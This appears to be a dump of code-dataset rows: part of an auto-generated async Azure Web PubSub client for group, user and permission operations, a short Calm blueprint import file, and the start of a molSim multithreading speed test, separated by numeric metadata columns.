map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
return 200 <= response.status_code <= 299
@distributed_trace_async
async def close_group_connections( # pylint: disable=inconsistent-return-statements
self, group: str, *, excluded: Optional[List[str]] = None, reason: Optional[str] = None, **kwargs: Any
) -> None:
"""Close connections in the specific group.
Close connections in the specific group.
:param group: Target group name, which length should be greater than 0 and less than 1025.
:type group: str
:keyword excluded: Exclude these connectionIds when closing the connections in the group.
Default value is None.
:paramtype excluded: list[str]
:keyword reason: The reason closing the client connection. Default value is None.
:paramtype reason: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_close_group_connections_request(
hub=self._config.hub,
group=group,
api_version=api_version,
excluded=excluded,
reason=reason,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def send_to_group( # pylint: disable=inconsistent-return-statements
self,
group: str,
message: Union[IO, str],
*,
excluded: Optional[List[str]] = None,
content_type: Optional[str] = "application/json",
**kwargs: Any
) -> None:
"""Send content inside request body to a group of connections.
Send content inside request body to a group of connections.
:param group: Target group name, which length should be greater than 0 and less than 1025.
:type group: str
:param message: The payload body.
:type message: IO or str
:keyword excluded: Excluded connection Ids. Default value is None.
:paramtype excluded: list[str]
:keyword content_type: Media type of the body sent to the API. Known values are:
"application/json", "application/octet-stream", and "text/plain". Default value is
"application/json".
:paramtype content_type: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
_json = None
_content = None
content_type = content_type or ""
if content_type.split(";")[0] in ["application/json"]:
_json = message
elif content_type.split(";")[0] in ["application/octet-stream", "text/plain"]:
_content = message
else:
raise ValueError(
"The content_type '{}' is not one of the allowed values: "
"['application/json', 'application/octet-stream', 'text/plain']".format(content_type)
)
request = build_send_to_group_request(
hub=self._config.hub,
group=group,
api_version=api_version,
content_type=content_type,
json=_json,
content=_content,
excluded=excluded,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [202]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def add_connection_to_group( # pylint: disable=inconsistent-return-statements
self, group: str, connection_id: str, **kwargs: Any
) -> None:
"""Add a connection to the target group.
Add a connection to the target group.
:param group: Target group name, which length should be greater than 0 and less than 1025.
:type group: str
:param connection_id: Target connection Id.
:type connection_id: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_add_connection_to_group_request(
hub=self._config.hub,
group=group,
connection_id=connection_id,
api_version=api_version,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def remove_connection_from_group( # pylint: disable=inconsistent-return-statements
self, group: str, connection_id: str, **kwargs: Any
) -> None:
"""Remove a connection from the target group.
Remove a connection from the target group.
:param group: Target group name, which length should be greater than 0 and less than 1025.
:type group: str
:param connection_id: Target connection Id.
:type connection_id: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_remove_connection_from_group_request(
hub=self._config.hub,
group=group,
connection_id=connection_id,
api_version=api_version,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def user_exists(self, user_id: str, **kwargs: Any) -> bool:
"""Check if there are any client connections connected for the given user.
Check if there are any client connections connected for the given user.
:param user_id: Target user Id.
:type user_id: str
:return: bool
:rtype: bool
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_user_exists_request(
hub=self._config.hub,
user_id=user_id,
api_version=api_version,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [200, 404]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
return 200 <= response.status_code <= 299
@distributed_trace_async
async def close_user_connections( # pylint: disable=inconsistent-return-statements
self, user_id: str, *, excluded: Optional[List[str]] = None, reason: Optional[str] = None, **kwargs: Any
) -> None:
"""Close connections for the specific user.
Close connections for the specific user.
:param user_id: The user Id.
:type user_id: str
:keyword excluded: Exclude these connectionIds when closing the connections for the user.
Default value is None.
:paramtype excluded: list[str]
:keyword reason: The reason closing the client connection. Default value is None.
:paramtype reason: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_close_user_connections_request(
hub=self._config.hub,
user_id=user_id,
api_version=api_version,
excluded=excluded,
reason=reason,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def send_to_user( # pylint: disable=inconsistent-return-statements
self, user_id: str, message: Union[IO, str], *, content_type: Optional[str] = "application/json", **kwargs: Any
) -> None:
"""Send content inside request body to the specific user.
Send content inside request body to the specific user.
:param user_id: The user Id.
:type user_id: str
:param message: The payload body.
:type message: IO or str
:keyword content_type: Media type of the body sent to the API. Known values are:
"application/json", "application/octet-stream", and "text/plain". Default value is
"application/json".
:paramtype content_type: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
_json = None
_content = None
content_type = content_type or ""
if content_type.split(";")[0] in ["application/json"]:
_json = message
elif content_type.split(";")[0] in ["application/octet-stream", "text/plain"]:
_content = message
else:
raise ValueError(
"The content_type '{}' is not one of the allowed values: "
"['application/json', 'application/octet-stream', 'text/plain']".format(content_type)
)
request = build_send_to_user_request(
hub=self._config.hub,
user_id=user_id,
api_version=api_version,
content_type=content_type,
json=_json,
content=_content,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [202]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def add_user_to_group( # pylint: disable=inconsistent-return-statements
self, group: str, user_id: str, **kwargs: Any
) -> None:
"""Add a user to the target group.
Add a user to the target group.
:param group: Target group name, which length should be greater than 0 and less than 1025.
:type group: str
:param user_id: Target user Id.
:type user_id: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_add_user_to_group_request(
hub=self._config.hub,
group=group,
user_id=user_id,
api_version=api_version,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def remove_user_from_group( # pylint: disable=inconsistent-return-statements
self, group: str, user_id: str, **kwargs: Any
) -> None:
"""Remove a user from the target group.
Remove a user from the target group.
:param group: Target group name, which length should be greater than 0 and less than 1025.
:type group: str
:param user_id: Target user Id.
:type user_id: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_remove_user_from_group_request(
hub=self._config.hub,
group=group,
user_id=user_id,
api_version=api_version,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def remove_user_from_all_groups( # pylint: disable=inconsistent-return-statements
self, user_id: str, **kwargs: Any
) -> None:
"""Remove a user from all groups.
Remove a user from all groups.
:param user_id: Target user Id.
:type user_id: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_remove_user_from_all_groups_request(
hub=self._config.hub,
user_id=user_id,
api_version=api_version,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def grant_permission( # pylint: disable=inconsistent-return-statements
self, permission: str, connection_id: str, *, target_name: Optional[str] = None, **kwargs: Any
) -> None:
"""Grant permission to the connection.
Grant permission to the connection.
:param permission: The permission: current supported actions are joinLeaveGroup and
sendToGroup. Known values are: "sendToGroup" or "joinLeaveGroup".
:type permission: str
:param connection_id: Target connection Id.
:type connection_id: str
:keyword target_name: The meaning of the target depends on the specific permission. For
joinLeaveGroup and sendToGroup, targetName is a required parameter standing for the group name.
Default value is None.
:paramtype target_name: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_grant_permission_request(
hub=self._config.hub,
permission=permission,
connection_id=connection_id,
api_version=api_version,
target_name=target_name,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def revoke_permission( # pylint: disable=inconsistent-return-statements
self, permission: str, connection_id: str, *, target_name: Optional[str] = None, **kwargs: Any
) -> None:
"""Revoke permission for the connection.
Revoke permission for the connection.
:param permission: The permission: current supported actions are joinLeaveGroup and
sendToGroup. Known values are: "sendToGroup" or "joinLeaveGroup".
:type permission: str
:param connection_id: Target connection Id.
:type connection_id: str
:keyword target_name: The meaning of the target depends on the specific permission. For
joinLeaveGroup and sendToGroup, targetName is a required parameter standing for the group name.
Default value is None.
:paramtype target_name: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_revoke_permission_request(
hub=self._config.hub,
permission=permission,
connection_id=connection_id,
api_version=api_version,
target_name=target_name,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def has_permission(
self, permission: str, connection_id: str, *, target_name: Optional[str] = None, **kwargs: Any
) -> bool:
"""Check if a connection has permission to the specified action.
Check if a connection has permission to the specified action.
:param permission: The permission: current supported actions are joinLeaveGroup and
sendToGroup. Known values are: "sendToGroup" or "joinLeaveGroup".
:type permission: str
:param connection_id: Target connection Id.
:type connection_id: str
:keyword target_name: The meaning of the target depends on the specific permission. For
joinLeaveGroup and sendToGroup, targetName is a required parameter standing for the group name.
Default value is None.
:paramtype target_name: str
:return: bool
:rtype: bool
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_has_permission_request(
hub=self._config.hub,
permission=permission,
connection_id=connection_id,
api_version=api_version,
target_name=target_name,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [200, 404]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
return 200 <= response.status_code <= 299
| 41.799328
| 119
| 0.637205
| 5,561
| 49,783
| 5.495414
| 0.046574
| 0.026178
| 0.025916
| 0.015805
| 0.93858
| 0.924378
| 0.905105
| 0.890805
| 0.8875
| 0.871564
| 0
| 0.013233
| 0.257698
| 49,783
| 1,190
| 120
| 41.834454
| 0.813741
| 0.061788
| 0
| 0.775401
| 0
| 0
| 0.070963
| 0.017537
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.016043
| 0
| 0.050802
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
cb0ff5fac6ed50ad78a6b30848848d79917186e8
| 144
|
py
|
Python
|
blueprints/era_postgres/base_vm.py
|
halsayed/calm
|
46c93ac2b02227663f0184d149f62d142b2638cc
|
[
"MIT"
] | null | null | null |
blueprints/era_postgres/base_vm.py
|
halsayed/calm
|
46c93ac2b02227663f0184d149f62d142b2638cc
|
[
"MIT"
] | null | null | null |
blueprints/era_postgres/base_vm.py
|
halsayed/calm
|
46c93ac2b02227663f0184d149f62d142b2638cc
|
[
"MIT"
] | 1
|
2021-11-16T10:28:42.000Z
|
2021-11-16T10:28:42.000Z
|
from calm.dsl.builtins import AhvVmResources, AhvVm
from calm.dsl.builtins import AhvVmDisk, AhvVmNic, AhvVmGC
from vars import NETWORK_NAME
| 20.571429
| 58
| 0.826389
| 20
| 144
| 5.9
| 0.65
| 0.135593
| 0.186441
| 0.322034
| 0.423729
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 144
| 6
| 59
| 24
| 0.936508
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
cb106a2cd2c658d02262923200de6aeafacf1f61
| 64,115
|
py
|
Python
|
tests/test_multithreading.py
|
himaghna/molSim
|
8c1356ec9cc3e08d4d30696adc682dc912675023
|
[
"MIT"
] | 1
|
2020-02-10T20:14:21.000Z
|
2020-02-10T20:14:21.000Z
|
tests/test_multithreading.py
|
himaghna/molSim
|
8c1356ec9cc3e08d4d30696adc682dc912675023
|
[
"MIT"
] | 67
|
2020-02-10T08:09:03.000Z
|
2022-01-18T15:27:27.000Z
|
tests/test_multithreading.py
|
himaghna/molSim
|
8c1356ec9cc3e08d4d30696adc682dc912675023
|
[
"MIT"
] | 3
|
2020-02-10T20:14:25.000Z
|
2020-06-26T15:35:57.000Z
|
""" Test multithreading to ensure consistent behavior with
serial implementation."""
import unittest
import warnings
from os import remove
from os.path import exists, join
import numpy as np
from molSim.chemical_datastructures import MoleculeSet
from time import time
from tabulate import tabulate
class TestMultithreading(unittest.TestCase):
"""Unit tests to ensure consistency when running molSim as a single process
or when using multiprocessing.
"""
@classmethod
def setUpClass(self):
"""Create a SMILES database to use for comparisons and
find the similarity matrices and execution times.
"""
if not exists(".speedup-test"):
print("Speedup and Efficiency tests DISABLED.")
self.NO_SPEEDUP_TEST = True
else:
self.NO_SPEEDUP_TEST = False
self.N_REPLICATES = 3
warnings.warn(
"Speedup and Efficiency tests ENABLED, expect long runtime.",
ResourceWarning,
)
print(" ~ ~ Testing Multithreading ~ ~ ")
# basic consistency tests
self.text_fpath = "temp_multithread_smiles_seq.txt"
print(f"Creating text file {self.text_fpath}")
with open(self.text_fpath, "w") as file:
for smiles in ["C", "CC", "CCC", "O", "CCCC", "CO", "CCOCC"]:
file.write(smiles + "\n")
test_molecule_set = MoleculeSet(
molecule_database_src=self.text_fpath,
molecule_database_src_type="text",
is_verbose=True,
similarity_measure="tanimoto",
n_threads=1,
fingerprint_type="morgan_fingerprint",
)
self.correct_similarity_matrix = test_molecule_set.get_similarity_matrix()
if self.NO_SPEEDUP_TEST:
return
with open(join("tests", "data", "combinatorial_1.txt"), "r") as file:
data = file.readlines()
_100_molecules = data[1:102]
_500_molecules = data[1:502]
_1000_molecules = data[1:1002]
_5000_molecules = data[1:5002]
_10000_molecules = data[1:10002]
_15000_molecules = data[1:15002]
# data used for speedup and efficiency tests
self._100_molecules_fpath = "temp_multithread_speedup_100.txt"
print(f"Creating text file {self._100_molecules_fpath}")
with open(self._100_molecules_fpath, "w") as file:
for smiles in _100_molecules:
file.write(smiles)
print("Running 100 molecules with 1 process.")
self._100_molecules_serial_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._100_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=1,
fingerprint_type="morgan_fingerprint",
)
self._100_molecules_serial_time += (time() - start) / self.N_REPLICATES
self._500_molecules_fpath = "temp_multithread_speedup_500.txt"
print(f"Creating text file {self._500_molecules_fpath}")
with open(self._500_molecules_fpath, "w") as file:
for smiles in _500_molecules:
file.write(smiles)
print("Running 500 molecules with 1 process.")
self._500_molecules_serial_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._500_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=1,
fingerprint_type="morgan_fingerprint",
)
self._500_molecules_serial_time += (time() - start) / self.N_REPLICATES
self._1000_molecules_fpath = "temp_multithread_speedup_1000.txt"
print(f"Creating text file {self._1000_molecules_fpath}")
with open(self._1000_molecules_fpath, "w") as file:
for smiles in _1000_molecules:
file.write(smiles)
print("Running 1000 molecules with 1 process.")
self._1000_molecules_serial_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._1000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=1,
fingerprint_type="morgan_fingerprint",
)
self._1000_molecules_serial_time += (time() - start) / self.N_REPLICATES
self._5000_molecules_fpath = "temp_multithread_speedup_5000.txt"
print(f"Creating text file {self._5000_molecules_fpath}")
with open(self._5000_molecules_fpath, "w") as file:
for smiles in _5000_molecules:
file.write(smiles)
print("Running 5000 molecules with 1 process.")
self._5000_molecules_serial_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._5000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=1,
fingerprint_type="morgan_fingerprint",
)
self._5000_molecules_serial_time += (time() - start) / self.N_REPLICATES
self._10000_molecules_fpath = "temp_multithread_speedup_10000.txt"
print(f"Creating text file {self._10000_molecules_fpath}")
with open(self._10000_molecules_fpath, "w") as file:
for smiles in _10000_molecules:
file.write(smiles)
print("Running 10000 molecules with 1 process.")
self._10000_molecules_serial_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._10000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=1,
fingerprint_type="morgan_fingerprint",
)
self._10000_molecules_serial_time += (time() - start) / self.N_REPLICATES
self._15000_molecules_fpath = "temp_multithread_speedup_15000.txt"
print(f"Creating text file {self._15000_molecules_fpath}")
with open(self._15000_molecules_fpath, "w") as file:
for smiles in _15000_molecules:
file.write(smiles)
print("Running 15000 molecules with 1 process.")
self._15000_molecules_serial_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._15000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=1,
fingerprint_type="morgan_fingerprint",
)
self._15000_molecules_serial_time += (time() - start) / self.N_REPLICATES
# data used for speedup and efficiency test 2
print("Running 100 molecules with 1 process.")
self._100_molecules_serial_time_2 = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._100_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=1,
fingerprint_type="topological_fingerprint",
)
self._100_molecules_serial_time_2 += (time() - start) / self.N_REPLICATES
print("Running 500 molecules with 1 process.")
self._500_molecules_serial_time_2 = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._500_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=1,
fingerprint_type="topological_fingerprint",
)
self._500_molecules_serial_time_2 += (time() - start) / self.N_REPLICATES
print("Running 1000 molecules with 1 process.")
self._1000_molecules_serial_time_2 = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._1000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=1,
fingerprint_type="topological_fingerprint",
)
self._1000_molecules_serial_time_2 += (time() - start) / self.N_REPLICATES
print("Running 5000 molecules with 1 process.")
self._5000_molecules_serial_time_2 = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._5000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=1,
fingerprint_type="topological_fingerprint",
)
self._5000_molecules_serial_time_2 += (time() - start) / self.N_REPLICATES
print("Running 10000 molecules with 1 process.")
self._10000_molecules_serial_time_2 = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._10000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=1,
fingerprint_type="topological_fingerprint",
)
self._10000_molecules_serial_time_2 += (time() - start) / self.N_REPLICATES
